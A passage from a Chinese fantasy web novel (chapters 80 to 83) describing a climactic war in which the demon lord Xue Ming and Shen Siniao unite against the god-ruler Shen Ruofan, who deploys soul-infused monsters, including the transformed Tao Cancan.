但话虽如此,她的心里还是有些紧张,生怕出现什么变故,更怕世界线又回到了小说的原定结局,弄得两败俱伤。 第80章 第80章一瞬间,大军倒戈! 在正式开战之前,血冥还特意来到军中找上了云宛白,对她进行了最后的叮嘱。 “乖乖,等大战打响后,我便顾不上你了,你自己一定要多加小心。” “我明白的,”云宛白点头,眉宇间也染上了些许的忧愁,“你也一定要平安归来。” 冥冥要面对的危险可比她要多得多,经此之战之后,她还希望见到他,活生生的他。 “我知道。”有了乖乖这句话,血冥心中很是熨贴,他摸了摸她的脑袋,眼神中难掩不舍。 眨眼间乖乖都长这么大了,而且还成为了为魔界出征的大将军。 血冥心中有万般感慨,可他什么都不敢说出来。他生怕自己会后悔。 “我们一定能赢的。”血冥对她强调道。 “嗯,一定能赢!”云宛白重重点头。 …… 一回神,双方大军已然在仙界边缘处集结。 这场大战的规模极大, 举世瞩目。又因为双方都举着正义的旗帜,因此这场战争必须列队,在众人目光之下光明正大地对战。 起码明面上必须要过的去,要不然哪怕获得了战争的胜利也难以服众。 血冥独自一人飞在半空之中,他的背后是乌泱泱的魔军。 神思渺也是如此,他身后是万千仙界修士。 二人一黑一白,神色复杂的看向对方。 只有他们两个人心知肚明,这场战役他们并非对手,真正的敌人此时还隐藏在暗处。 血冥和神思渺早在战前就对仙界叛党进行了一波血洗,成功拔除了对方在人界埋伏的暗子,但这极大地激怒了在背后下棋的神界之人,反扑的怒火也差点将他们两个淹没。 好在,哪怕过程坎坷,他们还是成功地将胜利的天平偏向了他们这一方。 但最终结果如何,仍然要看今朝。 越是到了最后一步,血冥和神思渺的心便越沉稳,一举一动都格外慎重,他们深知成败在此一举,不成功便成仁。 而这一点,他们手下的人更清楚。 云宛白带领着魔界的妖军列阵,随着火灼带领的大军共同集合成了方阵。 众人一起抬头望向飞在空中的魔尊,眼中热切敬仰,更有着无所畏惧一往直前的冲劲。 多年的韬光养晦就是为了等待这一刻,为了今后更好的生活,为了实现魔界多年的夙愿,每只魔都做好了奉献一切的觉悟。 飞震马们躁动地甩尾踱步,凶狠地早已想飞奔而去,狠狠咬下对面一块肉来。 本来在战前,有一个步骤必不可少,那就是战前的喊话。 可血冥和神思渺对视许久,两方军阵也直勾勾地盯向对面,眼神早已诉说了双方的恩怨。 不必多说,士气早已熊熊燃烧。 血冥和神思渺同时举起了右手,像慢动作一样缓缓落下。 意味不言而喻。 “杀——!!!” “冲啊——!!” “魔界必胜!!” “仙界永存——!!” 双方如迅雷不及掩耳之势迅猛冲出,飞快地交织在了一起。 黑与白瞬间混为了一片灰色,刀光剑影之中血沫横飞。 大战初起便杀的难舍难分,血冥和神思渺也一样,他们在空中奋力拼杀,黑刃与破空掌猛然相接,两方一抵,便撞出了一道巨大的波纹,狠狠地向四周散去,震得所有将士们身形一晃。 云宛白也在下方带头厮杀,无论是最初的激动还是紧张,在一朝一式挥出之后都化为了无比的冷静。 这是小说。 但这也是属于她的人生。 每一分每一秒,都是真实的。 冥冥在为魔界拼命,她也有想要守护的人。 此战没有真正的赢家,但唯有胜,才是最好的落幕。 说起来,她也算是实现了一直以来的愿望,那就是不被放在大后方当一个被保护的宠物,而是堂堂正正的以妖军将军的身份,为所有她在乎的人贡献出自己的一份力量。 手起刀落,鲜血弥漫了整座天空,云宛白沐浴在一片血雾之中,她能听到自己胸膛跳动的声音。 一下,一下,越来越稳。 她带着妖军凶狠冲锋,冰棘也随她向前张牙舞爪的蔓延,直接在对面军阵中冻穿了一条大口子。 又是一道杀招相撞,血冥和神思渺同时后退了一步,眼神对视在了一起。 他们早已注意到了脚下的战局,一切都往他们预料的方向而去。 是时候了。 神思渺对血冥微不可查地点了点头,足尖一点,更往上一步腾飞起来,吹动了手中的口哨。 刹那间,仙界大军后排的战士们瞬间由白转黑,他们的仙界战服化为了和魔界战士们统一的服装。 如同前后夹击一般,掏出武器将刀刃对准了身处他们前方的仙界头兵! 这些人是神思渺所在谪云宗的正义之士以及仙界的散修,他们不与仙界叛党同流合污,心中只有天下太平的宏伟之愿。 是神是魔又如何? 这天下,是属于天下人的天下,并非神界的玩物。 他们加入魔族,倒不如说是加入了真正正义的一方。 神思渺特意安排“自己人”全都站到了军阵的后排,为的就是这一刻。 自黑白互变起,神思渺正式摊牌加入魔界,向神界宣战! 浩浩大军朝着仙界与神界的边界处凶猛杀去,势必捅破神界的天,打破他们自私虚伪的灵气垄断,让神界回归纯粹的清修之地。 是仙是魔皆是道,是道皆有通天梯,飞入神界便成神。 神是对道极致的追求,不应该被这群心有杂念之人利用。 “对战多年,终于有一天能同你并肩作战了。”神思渺对血冥畅声大笑。 “好兄弟,我们一同杀穿这神界!” 双黑联手,如同一把利刃刺穿了纯白,战局顿时一变。 原本仍端坐在玉石茶桌上看棋盘移动的神若凡终于睁开了眼,慌乱了神色。 他猛然起身,脚下星辰颤动。 乱了,都乱了。 他眼神眯起目露凶光,他的好儿子可给他带来了一个大惊喜,既然如此,就别怪他赶尽杀绝。 没有了血脉就没有继承人,他就是神界唯一的神君。 儿子和权力相比,他坚定地选择了后者。 神若凡腾空而起轻轻落在了灵台树旁,手掌贴在了树干上,原本清脆悠扬的灵叶相撞声顿时变得急促了起来。 只听他念了一段复杂的咒语后,灵叶震颤的幅度也越来越大,忽然间,一枚枚灵叶自灵台树上脱离飞下,像一阵龙卷风飞速旋转,围绕在神若凡的四周。 “去!”他定睛大喝,灵叶如离弦之箭般射出一道金束,叮叮当当地飞出。 这些声音也同样召唤出了神界的将士们,他们一身金衣,随着灵叶的方向冲了出去。 有了他们的加入,原本魔界的大好优势很快就被冲散,战局也再一次变得扑朔迷离了起来。 在大军当中,有这样的一道身影。 他擅长用各类的法宝,无论是攻击还是防御都用的极为老练,动作行云流水中带着独属于仙人的优雅从容。 即便他的速度不够敏捷,可他座下的神鹿很好地为他弥补了这一缺点。 如此一来他便成为了难得都全能型战士,以他为圆心的百米之内被清空出了一片安全的区域,在这场战局中表现的十分出色。 顺带一提,他这鹿并非属于神界,只不过鹿的名字就叫做“神鹿”,听起来霸气一些。 “哟哟!” 神鹿打嗨了,一记鹿角攻击便将人狠狠顶飞,痛快地撂了撂蹄子。 以往它和主人都是被魔尊虐着打,单方面挨打到怀疑人生,以为自己真的很菜。 没想到这回到了战场上,和对面一打才发现自己强的可怕。 也是,能和魔尊当陪练还陪了好多回的人,实力又能差到哪里去。 倒戈魔界的青鹏现在热血沸腾,对于这些不仅废了自己诸多法宝,还把他从一位散修捞回来继续打工的仙界叛党们简直恨之入骨。 他和神鹿一起厮杀,时刻抬头观察魔尊飞往的方向,跟随着他的脚步一路向前。 他也想杀到神界,看看到底是什么样的地方值得他们垄断灵气,把其他五界当狗一样耍。 青鹏知道真相的原因很简单,在战前动员前,无论是血冥还是神思渺,都就把神界多年来的阴谋讲给了自家的战士们听,戳破了他们对于神界的崇拜和向往。 所以,神界早已跌下了所谓的神坛,成为了这些黑衣战士们一同唾弃的存在。 青鹏对神界的厌恶更甚。从前有多向往,现在就有多恨。这些仇恨都能从他不留余地的杀招中能够看出一二。 就在这对战的过程中,他眼尖地看到了一位与自己同穿黑衣的战友受到了围攻,十个金衣打一个黑衣,当真不要脸。 他想也不想的就带着神鹿一同向前一同加入战局,瞬间缓解了这场战斗的压力。 只是神界之人很是阴损,惯会从背面进行暗算。 就在这名小战友差点挨上一刀之时,青鹏顺手拉了他一把,让他刚好逃离这一道的攻击范围,随后又与神鹿配合替他解决掉了暗算之人,把他拉出了包围圈。 “谢谢!”这位黑衣人一个大喘气,不免露出了劫后余生的笑容,向着解救自己的战友拱手望去。 “多加小心!”青鹏正色道。 被救之人也就是青云,他不敢置信地看向来人,眼睛一眨不眨。 这,这是他刚从鬼门关走出来产生的幻觉吗?为什么他会见到…… “保重!”青鹏完全没有认出青云,拍了拍他的肩膀之后就继续向前,徒留青云站在原地发呆。 但战场之上刀剑无眼,一瞬间的发呆都有可能暴露出致命的危险。 就这么一个愣神,又有人盯上了青云,回过头来便是一刀试图捡漏。 “叮——!!” 神鹿的鹿角往前一顶一扭,金衣人便断了生气。 “发什么呆,战场上是你能发呆的地方吗!”青鹏不由得生气地斥责道, 原来是青鹏他们折返了过来,又救了青云一命。 青云这才回神,他努力抑制住自己的激动,狠狠盯着面前的青鹏。 眼前之人不仅是令他生出心智脱离仙界的恩人,方才又救了他两命,这天大的恩情他该如何报答? “算了,你就跟在我身后吧。” 青鹏到底是个善良的人,虽然这个小伙子有点呆呆的,实力也算不上太好,但既然同属于一个阵营,能帮就帮一把。 “快跟上。”青鹏催促,神鹿也跟着呦了一声。 “来了来了!”青云终于回神,他大步向前,同青鹏恩人并肩作战。 他现在充满了干劲。 他一定要向恩人证明自己的实力并不差,只是见到恩人之后有点没注意场合,喜不自胜罢了。 80-90 第81章 第81章你的“故人”来了…… 青鹏和青云杀的正酣,面对金衣人凶猛密集的攻势,他们越战越勇,各自带领着仙魔两界散修杀进包围圈。 尽管在对战中他们逐渐负伤,攻击力也在渐渐变弱,可这群人当中没有一个人轻言放弃,每个人的眼神中都充满着坚定。 这是一场注定你死我活的一战,不到最后誓不罢休。 煞惹龙扑腾着翅膀,在天空中嘶吼着。 他一甩尾便拍倒了一众金衣,而他的背上,一群妖使们也使出了浑身解数与仙人疯狂厮杀。 这么重要的时刻,统妖司自然全员跟上。并且他们自成一团,势必要打出属于统妖司的气势,凭此战扭转他们曾经文弱无力的形象。 为了心中目标而战斗,和为了利益而战,这两者带给战士们的战力加成是完全不同的。 哪怕金衣之人有了灵叶的加持,可他们的心智还不够坚定,面对魔界一方如波涛般汹涌的不要命攻击打法很快便露了怯。 一旦没了士气,影响战局的天平倒的也就非常快。虽然眼下还看不出到底花落谁家,但血冥敢肯定,魔界的胜利已指日可待。 拖也要拖垮对方。 自从换上了黑衣之后,神思渺和血冥也不再掩饰他们之间的交情。 对战的杀招瞬间变为了相配合的打法,他们攻防一体互相配合,势如破竹地带领着手下逐渐逼近神界边缘。 这两个人本就是六界最强战力之一,一旦1+1合作起来,达成的效果可就远远大于了2。 他们成功解决了谪云宗里难缠的几位长老,包括被神若凡安排一直监视着神思渺的大长老。 他在挨了神思渺的破空掌之后就被血冥的黑刃从背后贯穿了身体,紧接着他的魂魄也被神思渺所碾碎,死的不能再死了。 战况的形势极佳,但各种过程并没有想象中那么的简单,血冥和神思渺从头到尾保持着全神贯注的状态完全不敢分神。 他们互为后背依靠,向前攻击的同时不忘弥补对方留下的漏洞,及时帮对方补全视野。 但显然,神界也意识到了这两人才是最大的威胁,一两个人打不过他们,那一群人呢? 如蝗虫般的金衣蜂拥而至,列出巨型球体军阵将他们二人包围其中,从四面八方向他们进行攻击。 血冥和神思渺的进攻速度成功被拖慢了下来,十分棘手地应对着。 这样可不行。 要是被包围的时间太久,他们会被耗死在里面的。 血冥和神思渺一个对视,便心领神会地默契朝着一个方向进行猛烈攻击。 一个负责攻,一个负责防。 他们要争取在最快时间内,把眼前的攻击点变为球体军阵的薄弱点,一举突破! “凌空鞭!来!”神思渺大喝一声,无数颗闪着金光的粒子在他掌心前凝出。 在蓝天之下,身着黑衣的神思渺发丝飞扬,额前金色印记一明一灭。 随着他狠狠向下一握的动作,这些粒子们瞬间凝为了一道金色的光束由虚变实,凝成了一根耀眼的金鞭。 随着他的动作,原本吸附在金衣们身上的灵叶开始不受控制地晃动,紧接着,它们像受到了强大的吸力一样猛然脱出,向着神思渺极速飞来,在空气中发出了相撞的清脆声。 叮——叮——叮——!!! 一枚枚叶子终于找到了它们的归宿,狠狠安在了神思渺的凌空鞭上,细长的鞭子顿时生出了金刺,在阳光下闪烁着锋利的光芒。 而在神思渺的背后,是闭着眼眸的血冥。 他浑身冒着黑气,明明有风,可一头黑发却直直垂下。 他双手摊开放在身侧,原本的两道黑镰在他身后凝为阴影,像骨折一般不断的重组生长,发出吱嘎吱嘎令人胆颤的声音。 随着最后的一声“噗——”,两道黑镰已进化成了蛛爪形状的万魔刃,还有一缕缕的魔息析出,围绕在凌空边的周围不停旋转,为金光染上了一丝丝黑气,圣洁中平添了一分诡魅。 血冥和神思渺背靠着背,异口同声:“攻/防!” 轰的一声——!! 他们如同离弦之箭向着前方飞射而出,两道光束不断地旋转缠绕,连带着空气都被割出一道道扭曲的波纹。 没有金衣能够挡得住他们的组合技,被冲散的军阵瞬间溃败,如同破碎的蛋壳一样陡然破裂,“裂口残骸”一个个从天上掉了下去。 冲破对阵之后,前方的视野一下子开阔多了,目之所及之处没有任何的阻拦,只有他们此行的最终目标。 离神界边缘越来越近了,几乎只差最后一步! 血冥和神思渺一鼓作气,准备向着神界而去。 神界很强吗? 确实强大。 可离了为神界做牛做马的仙界长老们,离了攀附利益的金衣之后,神界的防御早已不堪一击。 真正一门心思扑在研究天道上的神们,他们可不会来参战。 唯一值得忌惮的,便只有迟迟未出手的神若凡了。 眼下,把控着神界与仙界屏障关卡的就只剩下了一把束道锁,而束道锁的周围早已没有仙兵把控。 血冥与神思渺肩并肩,他扭头递了一个眼神:破吗? 神思渺回以一望,轻轻点头:破! 这种对六界百害而无一利的锁,早就该毁了。 他们二人同时深吸一口气,各自举起了手中的金鞭/黑刃。 很快,他们手中便各自凝成了一颗巨大的圆球,一个冒着金光一个冒着黑光,白色的电花在两颗球中来回穿梭闪烁。 这一击的消耗可谓巨大,血冥和神思渺的额头上都冒出了细密的汗珠,脖颈的青筋也都爆了出来。 但他们的手很稳,在听到蓄能的哨音到达了最高点之后,他们猛然向着对方的方向转身,左右手砰的对掌,两颗圆球在一个最契合的时间点成功融为了一体。 白光在外,黑光在内,原本分散为两道的电花在空中啪的触碰之后,瞬间融为了极粗的一道,在刹那间变的更加张牙舞爪威力慑人。 即便是制造出它的血冥和神思渺,在此刻也绝不敢伸手触碰那道火花。 哨音渐弱,就在这颗巨大的球安静到最极点时,血冥和神思渺不再犹豫同时合力,用双掌倾尽全力向前推出! “嗡——” 这道声音低沉浑厚,像是时间的长流,缓慢而又猛烈地向前飞去。 肉眼看着的速度很慢,可实际上圆球抵达束道锁的时间不过一眨眼。 咔,擦。 神界维持了上千上万年灵气独享的时代,在此刻,就这么轻易的破碎了。 一切看似容易的不可思议,谁都知道能够达成这一步到底有多么的艰难。 血冥心绪不平,而神思渺在目睹这一幕后的感触无疑更深,他一言不发地红着眼,不知道心中在想些什么。 血冥低声道:“该走了。” 神思渺回神,缓慢郑重地点头:“到最后了。” 他把所有的情绪收回到了心中,目光逐渐沉稳而冰冷。 接下来要面对的,就是他最大的仇人了。 随着束道锁的崩散,原本被不透明屏障笼罩起来的神界在众人眼中逐渐清晰了起来。 那简直就像是另外的一个世界,就连色彩都是那么的鲜明。 而向 外溢散出来的灵气,让每个人在深吸一口气的同时都神清气爽,心中更是感慨万千。 神,不再高高在上了。 打头阵的二人没有那么多的时间用来感慨,与神思渺他们第一个打照面的,便是—— “是我低估你了。”神若凡飘在空中,仍然温润含笑,似宠似嗔地看向神思渺,完全无视了血冥。 “我也高估你了。”神思渺同样莞尔,极其相像的两张容貌在此刻却只剩下了对彼此的憎恨与寒意。 在这样的一刻,血冥无意找存在感,自觉将主场让给了这对父子。 但他的肩膀一直挨着神思渺,他在用这种方式告诉自己的好兄弟,他永远会与兄弟共进退。 “你说过,我没有资格再见你,”神思渺一点点地敛去了笑容,连表面的客套都不愿再装,“现在我都打到这儿了,你还有什么说辞吗?” 神若凡盯着这张与自己几乎一个模子刻出来的脸,不知道是不是因为孽子没了笑容,还是他的眼神和他母亲越来越像,竟一点点陌生地快要认不出来了。 神若凡轻叹一声:“我本不欲如此,父子相嗜,有违人伦,更违天道。” “别假惺惺的了,”神思渺不耐烦地打断他,在这最后一刻,他不想再听这畜生的虚伪说教,“该战便战,今日,你我之间活下来的只会有一个。” 神若凡仍然浅笑着,一点都没有被神思渺激怒,就像看一个小孩子发脾气一样。 “好,好,你想玩就玩吧,为父陪你。”神若凡淡然挥手,从袖子里拿出了什么。 血冥和神思渺同时后撤了一步,警惕地看着他。 “你还想耍什么花招?”神思渺皱眉。 “什么花招都没有,为父只是想请你见见你的故人而已。”神若凡拿出了一枚晶莹剔透的玉哨,他飘到空中,轻轻将其吹响。 “吁——” “吁——” 神思渺很讨厌这种不受掌控的感觉,他隐隐有了一种很可怕的预感。 血冥闭眸,感应到了空气的波动后飞快说道:“有东西来了。” 他睁开眼,摆出了战斗的姿势,神思渺也同样如此。 但很快,神思渺便被眼前的这一幕惊到了。 他和血冥同时无言,抬头望向这巨大的怪物。 “啊——!!!” 眼前这只如同肉瘤一般的怪物发出了撕心裂肺的吼叫。 “你的仇人来了。”神若凡心情不错地拍了拍怪物的身躯,示意它向前看。 怪物的眼睛被隐藏在了肉瘤之下,叽里咕噜了一阵之后几乎是被血肉组织挤出了身躯,由两条血线支撑起了硕大的血色眼球在空中环望。 很快,它便锁定了目标,双目猩红地盯着面前之人,目光中满是炽热的仇恨。 “神,思,渺。” 第82章 第82章丧心病狂的“造物”主…… 神思渺心下骇然,震惊地望向这庞然大物。 原本他并不觉得有什么,只是对从未见到过的怪物感到有些棘手罢了。 可当听到这怪物喊出了自己的名字时,有种莫名的恐惧就像一道电花猛然钻进了他的心海中狠狠搅动,令他头皮发麻! 再一看,那畜牲盈盈笑意,竟一副运筹帷幄的模样,神思渺瞬间联想到了一个极其可怕的猜测。 而这猜测,令他不敢去相信,不愿去相信。 “怎么,这就认不出来了?” 神若凡怜爱地摸了摸身旁的巨物,就好似完全不在意这令人胆寒的皮囊,还很认真地劝说道: “你看,曾经这人对你有多好,现在对你就有多厌恶,你不过换了一副身躯,他竟然就认不得你了,所谓真情也不过如此。” 神若凡仰头感慨,端是一副道貌岸然深情款款的模样。 神思渺看的一阵恶心。 “那是……陶灿灿?”血冥握紧了拳头,不敢置信地问道。 神思渺用力抿唇没有答话,但显然,这也是他做出的判断。 “乖孩子,让他见识见识你的厉害吧。”神若凡含情的眼眸中闪过一丝满意,他再度吹起了玉哨。 此哨一出,怪物变的更加狂躁了。 “神!思!渺!” 那怪物似乎只会说这三个字,霎时眼中凶光更盛,表皮逐渐渗出了褐色的黏液,暗绿色的毒气冲天而起。 怪物抖了抖身体,根根獠牙自它身上飞速长出,一边生长一边张牙舞爪地扭动碰撞,发出了淅淅沥沥的声音。 这样的“进化”显然违反了天道规则,脆弱的魂魄难以承受躯体强大的力量,令宿主本人痛苦不已,不由得仰天发出痛苦的叫声。 到底有过多年的养育之情,就算陶灿灿有搅动六界风云之嫌,但又何至于如此折磨她。 更何况这样的场景,他怎么能不联想到当年震惊六界的罪恶。可那分明被他和血冥联手捣毁了…… “你这个丧心病狂的畜生,说,你是不是还不死心,仍在用那阴损的法子制造怪物?”神思渺不禁怒吼出声。 “混账!那是造物!!”神若凡终于绷不住面上的淡然,对神思渺怒斥道。 在吼完之后,他似乎也觉得方才的失态有损自己的形象,便轻轻拂袖冷哼: “无知小儿,你根本不懂为父的伟业,只有造物方能成神,堪比天道的神。” 神若凡也知道自己是在“对牛弹琴”,不愿意再展开叙述。对他的这个儿子,他的耐心也早已告罄。 “杀光他们。”神若凡对身旁的怪物冷冷道。 “吼——!!!” 陶灿灿对神若凡唯命是从,它愤怒大吼之后,越来越多的怪物自它身后慢慢涌现,同样发疯地咆哮着。 本该是金光璀璨、漫天霞光的天空,顿时被形状丑陋的怪物填成了一片黑。 “去。”神若凡启唇。 乌泱泱的怪物朝着他们二人奔腾而来。 —— 与此同时。 随着魔界的凶猛攻势,火烛下达了命令,让妖军大队从原本的先遣队逐渐转为殿后之队,绝不能让任何一个漏网之鱼突破包围圈去往魔界生患。 作为将军,云宛白出的力气最大,她在前方悍而无畏地冲锋,把魔界最后的防线不断向前推进,为魔界争取出最大的喘息口。 她手底下的兵也都爆发出了最高的水平,秉着多年一起生活的默契在战场上也相互照应,硬是在不断的配合中把他们的战力水平拔高到了一个新的境界,面对金衣也能一战。 本该是形势大好的局面,可不知道为什么,突然在某一瞬间云宛白的心脏开始剧烈跳动,最后便一直维持着快到离谱的速度咚咚咚地捶着她的胸口。 这很不对劲。 云宛白立马意识到了异常。 如果她没有记错的话,每回她在遇到一些危险的事情之前都会出现类似这样的第六感征兆,预示着即将有不好的事情会发生。 可这一次还有一点不一样,除了心脏有异常之外,她的身体并没有出现任何胆战或寒冷的状态。 结合她血脉的传承记忆来看,这一波危险并不是冲着她去的,但绝对跟她有关。 在仙魔大战这个节骨眼上,任何异动都会令她格外不安。 难不成,是冥冥那边出了事? 不行,这里离前线太远了,她必须要上前探一探。 云宛白用冰刺撞向一名仙人,用巨大的冲击力将他撞飞到空中,随后一个隐身凝实,举着一根冰锥状的长枪狠狠刺穿了敌人。 又解决了一个。 “老铁!”她一声大喊,目光四下环望。 “在!” 铁蹄踏云而来,悠长地哞了一声,早已化作兽形的铁蹄牛老铁向将军复命。 “兄弟们都撑得住吗,我要去前线看一看。” 云宛白不能确定自己身上关于危险的预兆,究竟是来自于血脉传承还是金手指给她的警告。 但无论哪一种,估计都和冥冥的安危脱不了干系。 她真的不想冥冥出事。 虽然她也不确定 自己能做些什么,但跑到前线及时掌握情况也好。 “放心吧将军,兄弟们绝对撑得住。”铁蹄牛大声保证道。 不是他夸下海口,着实是最前方魔战门门主火烛带领的大队实在太强,他们早就将仙界的大部队拦截了下来,有能力逃到后方的基本上就那么一些,压力简直骤减。 而且他们的正前方还是统妖司那群老朋友们,听说还有一队联合反叛军也加入了作战,什么冥界皇子妖界大哥,个个来头很大实力很强,这些人也都成了魔界这边的友军。 除此之外,在最上空还有煞惹龙时刻盯梢。 经历了如此残酷的又一轮筛选之后,逃跑到最后一道防线的仙人,即便有再大的本事也都身负重伤。 妖军要对付这么几个伤兵败将,除了要小心他们殊死一搏用出杀招之外,基本上没什么难度。 “真的行?”云宛白再次确认。 “当然,不信你问大狮。”铁蹄牛随机拽住了刚飞过路准备继续战斗的雷羽狮,很认真地问了他一遍。 雷羽狮一听将军想去前线看看,自然一万个支持。 “放心吧将军,我们也不是吃素的,绝不会让任何一个仙人逃出防线,更不会让你打下来的防线重新向后退。” 雷羽狮目光坚定。 “好,”云宛白重重点头,她也相信部下们的实力,便不再继续客套下去,“那就交给你们了。” “将军放心。” “将军放心。” 云宛白长吐一口气,转过身,猛然向着前方奔去。 她现在很心急,因为她身体上的异常不仅没有随着时间的流逝而减轻,心跳反而还变得越来越剧烈了。 这可不是什么好的征兆。 她甚至不顾安危地在战场上迅速闭眸强行进入意识空间。 要知道,云宛白在进入意识空间的时候基本毫无防备,是需要全身心沉浸式投入并在原地保持不动的。 这就意味着在进入意识空间之前,她需要保持周边绝对的安全安静,才能让自己不落入危险之境。 可现在她管不了这么多了,要想同步知道前方的信息便只有金手指这一招。 很快她就翻到了剧情的最新章,来不及翻前情回顾,她用极快的速度浏览了最后两页的内容,简而言之: ——血冥有危险。 云宛白噌的一下睁开眼眸,想也不想的用尽全身力量向前飞速奔去。 哪怕在强力之下骨头几乎被风吹的快要脱出身体,她也根本顾不上这些疼痛。 满脑子都是最糟糕的预想——浑身是血奄奄一息的血冥,在原剧情中只剩下死亡这一条路的反派魔尊血冥。 冥冥,你不能死,绝对不能……云宛白不停地喃喃,似乎在用这种方式安慰无神的自己。 另一边,神思渺与陶灿灿战在了一起。 即使身躯被神思渺用蛮力破坏,陶灿灿都没有丝毫的痛感,力量完全不减。 反倒是用尽杀招的神思渺已然竭力,尽显疲态。 这副怪物躯体是神若凡的集大成之作,堪称体表最强战力,当时陶灿灿被哄骗至神界参观“怪物工坊”的时候还对这**的能力表示了惊叹。 结果没想到所有的含情脉脉都是假的,就在下一秒,她的魂魄就被神若凡抽出,强行注入在这副非自然产生的身躯之中,成为了这只怪物的灵魂。 而这怪物不仅**防御力量惊人攻击力极强之外,它感受不到任何的痛苦,不会因为受了伤就失去判断和攻击的方向,可以说,它没有任何的弱点。 但被囚禁在躯体内的魂魄就将受到极大的煎熬,在**强行的刺激之下,以魂魄之力当燃料,驱使这副身躯发挥出全部的潜能,成为无情的杀敌机器。 而除了陶灿灿这个最强的领头怪物之外,她手底下跟着的最忠心耿耿的将士们也都成为了怪物军团的一份子,受神若凡的命令发起攻击。 怪物军团有个特性,那就是躯体不灭。 就算魂魄会被消耗一空,可神若凡最不缺的就是魂魄,他可以随时向躯体补充“能量”,源源不断地发起攻击。 如此一来,这些怪物们真就成了神若凡最大的底牌,难怪他独自站在血冥和神思渺的面前,还能保持如此气定神闲的姿态。 血冥和神思渺协力攻击之后发现,他们现在的打法对这些怪物根本不起作用,而等待神若凡耗尽所存魂魄也根本不现实。 有这么一位丧心病狂的神君大人,谁知道他手头上的这些魂魄里有没有他的金衣部下,躯体在换了魂魄之后实力会不会更加强劲。 血冥和神思渺并不愿意将主动权交在对方的手里,但眼下也找不出对方的任何破绽,一时之间倍感棘手。 这些怪物机器不会累,但他们两个的精力是有限的,更何况在战斗之前之前就已经消耗了大量的法力,要是再这么干耗下去必输无疑。 神若凡看出了二人极力掩饰的疲态,挂在脸上的笑容愈发热烈。 他真的很想看到陶灿灿能够一把把神思渺的心脏掏出来吃掉,最好再把躯体也吞下,将其化为“最强造物”的完美养料。 或许世人并不理解一位神君怎么会如此仇恨自己的亲生骨肉,虎毒尚且不食子。 可正因为神思渺是嫡子,更是他的独子,一旦神君的千年任期结束,他神君的位置就将由他的儿子来坐。 失去地位固然可怕,但也不至于令神若凡出此下策。 最重要的是,就在神思渺的母亲凤启芸离世前,她以魂魄灰飞烟灭的代价对神若凡下了毒誓,让他的自然寿命逐年衰减。 换句话说,神若凡衰老的速度比任何神都要快。 而神思渺作为他同根同源且与下咒之人拥有血缘关系的直系血脉,只要吞了神思渺的魂魄,就可以让神若凡的寿命上限拓宽数倍,大大抵消诅咒的力量。 这些争取出来的时间和空间,足够他继续找个女人不断生下儿子再吃掉,如此循环往复,无限续命了。 而且神君位置也会是他的,谁都夺不走,哪怕是他的孩子。 第83章 第83章终究还是来迟了一步…… “神,思,渺。” “神,思,渺。” 陶灿灿已经疯了,即便魂魄被囚禁在着巨型怪物的体内,她也不停输出着这三个字,完全看不到真正的罪魁祸首就站在自己身旁。 也许是神若凡对她施加了什么影响的影响,又或者是她在危难之际浮现而出的对神思渺的信任和渴求。 这种强烈的心愿被逼迫到极致的时候,便会产生汹涌而扭曲的恨意,甚至超越了命令,成为了她的一种本能。 和这躯体结合在一起之后,她的主观意识基本被躯体狠狠压下,大部分都处在混沌癫狂的状态中。 但哪怕偶有几分清醒,她也固执地认为自己现在的一切全都拜神思渺所赐。 在陶灿灿找上神若凡之前,她已然得知自己的爱人们纷纷倒戈离开了她。 他们走的很决然,完全不避着她。 为首的狼亘最是狠心,陶灿灿一直认为他是最爱自己的一个男人。 无论她做错了什么,无论她有多任性,狼亘永远都是她一个人的忠犬,永远听从她的命令绝不背叛离开。 就算她找了越来越多的男人回来,只要她再哄一哄狼亘说点甜言蜜语,暴躁的他也就完全没脾气了,还很大度地拿出正宫应有的态度帮她周全地招待好新男人,是她最可爱的口嫌体正直的好男人。 陶灿灿已经习惯了他的存在,习惯了他的偏爱。 所以,在狼亘带着一群失落失望的男人们离开时,陶灿灿狠狠发了一通脾气,试图用这种方式逼他回来。 她能够看出狼亘眼里对她还有爱,那为什么还要离开呢? 陶灿灿不明白的是,就算是爱也有感到疲惫的一天,长此以往终究会被消耗殆尽。 爱一个人是需要能 力的。 狼亘他累了,也绝望了。 歇斯底里的陶灿灿等到的只有空荡荡的房间,她后知后觉的意识到,好像再也没有人愿意接住她的小脾气了。 她从始至终都不明白自己到底做错了什么,她不过是从小缺爱,穿越之后就想要很多很多的爱来弥补心中的不安。 一个人的爱对她来说远远不够,她就想要被各种不同的爱意包裹到密不透风。 这难道是什么十恶不赦的事情吗? 要不是狼亘离开的太快,她真的很想去反问一句,她到底哪里做错了,要被他们这么对待? 陶灿灿不接受自己被抛弃的事实,可蓦然回首,她发现自己竟连一个能够倾诉的对象都没有了。 回顾空荡的四周,她脑袋里第一时间想起的,居然是自己最开始就计划着逃离的神思渺。 如果我当时没离开的话…… 不,这样的想法很不妙。陶灿灿不愿意否定自己。 可现在还有谁愿意接纳她,能听她说话呢? 对,还有神若凡,她的帅大叔。 她可是把整个未绝妖军和御兽司的手下们都当做她的投名状送给了他,只剩下他能照顾自己了。 也好,还有一个能被我攥在手心里。 陶灿灿安慰自己后便找上了门,在对方的花言巧语中迷失了自我,可一清醒,她已然成了怪物的养料,每一次行动都预示着她生命的倒计时。 所以,神思渺…… 你为什么不救我!为什么! 新仇旧恨加在一起,让陶灿灿完全陷入了暴走状态,她甚至无视血冥的攻击,把全部的精力都放在对付神思渺一个人的身上。 尽管眼中一片血红,看到的场景很是模糊,可是它能闻到神思渺身上新鲜的血液味道,每每闻到后,它的动作便又亢奋了几分。 我走的时候你为什么不挽留我,是你绝情,是你抛弃了我。 你不愿意接纳我,想要逃离我身边,可我不会让你如愿,我要把你吞掉,让你永永远远和我在一起。 我们一起赴死,黄泉路上有我陪着你,你不会孤单的。 我们可以把过去错失了的相伴岁月重新弥补回来,只要杀了你再吃掉你,我们就能融为一体了。 神思渺神思渺神思渺…… 陶灿灿的思维完全“怪物化”,出手越来越重。 在血冥和神思渺不断的反击中,它的肢体已被打碎了不少,断臂碎肉落了一地。 陶灿灿丝毫不觉,把这些“零件”捞起塞到嘴里,努力不让它们掉落,但重新生长出来的肢体会变得比之前脆弱,生长出来的形状也更奇怪诡异。 渐渐的,它的动作变缓了。 这么一看似乎有了赢的盼头,看来再强悍的怪物也终有精疲力尽的时候。 他们二人不由的再次打起了精神。 这也得利于火灼的大部队及时赶上了前线,和其他那些由御兽司转化而成的“怪物”厮杀在了一起,大大缓解了血冥和神思渺四面楚歌的压力。 差点就要一边倒的局势,再一次平分秋色。 神思渺时刻记得他真正的敌人是神若凡,而不是面前的陶灿灿。 